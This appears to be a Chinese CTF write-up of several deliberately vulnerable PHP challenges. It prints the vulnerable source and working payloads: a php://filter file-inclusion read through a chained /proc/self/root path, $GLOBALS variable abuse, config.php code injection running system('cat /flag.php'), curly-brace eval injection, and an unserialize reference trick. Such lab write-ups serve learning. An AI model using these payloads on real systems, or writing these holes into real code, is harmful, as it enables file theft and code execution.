掌控ctf-2月赛

没事干 随便刷刷题

1伪协议读取系统进程

源码

php 复制代码
<?php
highlight_file(__FILE__);
require_once 'flag.php';
if(isset($_GET['file'])) {
  require_once $_GET['file'];
}

伪协议读取flag.php,/proc/self指向当前进程的

exp

php 复制代码
?file=php://filter/read=convert.base64-encode/resource=file:///proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/flag.php

2超全局变量

php 复制代码
<?php  

error_reporting(0);
include "flag1.php";
highlight_file(__file__);
if(isset($_GET['args'])){
    $args = $_GET['args'];
    if(!preg_match("/^\w+$/",$args)){
        die("args error!");
    }
    eval("var_dump($$args);");
}

一看到超全局变量就想到了 GLOBALS

3命令执行

php 复制代码
<?php
if(!isset($_GET['option'])) die();
$str = addslashes($_GET['option']);
$file = file_get_contents('./config.php');
$file = preg_replace('|\$option=\'.*\';|', "\$option='$str';", $file);
file_put_contents('./config.php', $file);

访问config.php会报错 然后把GET参数暴露

exp:

config.php?8=system("cat /flag.php");

巧用花括号(考点:花括号用法)

php 复制代码
<?
#GOAL: gather some phpinfo();
function flag(){
    echo "flag{I'm xxxxxxxxxxxxxxxxxxxx}";
}
$str=@(string)$_GET['str'];
@eval('$str="'.addslashes($str).'";');
?>

字符串${foobar}​中的foobar会被当作变量来处理

?str={{phpinfo()}}

flag在flag()中

?str={{flag()}}

PHP特性(考点:PHP中引用的特性)

php 复制代码
<?php
#GOAL: get the secret;
class just4fun {
    var $enter;
    var $secret;
}
   
if (isset($_GET['pass'])) {
    $pass = $_GET['pass'];
   
    if(get_magic_quotes_gpc()){
        $pass=stripslashes($pass);
    }
   
    $o = unserialize($pass);
   
    if ($o) {
        $o->secret = "flag{I'm xxxxxxxxxxxxxxxxxxxxxxxxxxxx}";
        if ($o->secret === $o->enter)
            echo "Congratulation! Here is my secret: ".$o->secret;
        else
            echo "Oh no... You can't fool me";
    }
    else echo "are you trolling?";
}

exp

php 复制代码
<?php
class just4fun {
    var $enter;
    var $secret;
}


$a= new just4fun();
$a->enter= &$a->secret;
echo serialize($a);
相关推荐
apihz31 分钟前
域名WHOIS信息查询免费API使用指南
android·开发语言·数据库·网络协议·tcp/ip
问道飞鱼1 小时前
【移动端知识】移动端多 WebView 互访方案:Android、iOS 与鸿蒙实现
android·ios·harmonyos·多webview互访
aningxiaoxixi1 小时前
Android 之 audiotrack
android
枷锁—sha2 小时前
【DVWA系列】——CSRF——Medium详细教程
android·服务器·前端·web安全·网络安全·csrf
Cao_Shixin攻城狮5 小时前
Flutter运行Android项目时显示java版本不兼容(Unsupported class file major version 65)的处理
android·java·flutter
呼啦啦呼啦啦啦啦啦啦8 小时前
利用pdfjs实现的pdf预览简单demo(包含翻页功能)
android·javascript·pdf
idjl10 小时前
Mysql测试题
android·adb
qiqiqi(^_×)10 小时前
卡在“pycharm正在创建帮助程序目录”
ide·python·pycharm
小妖66610 小时前
vscode 源码编译
ide·vscode·编辑器
张人玉12 小时前
Visual Studio 的常用快捷键
ide·visual studio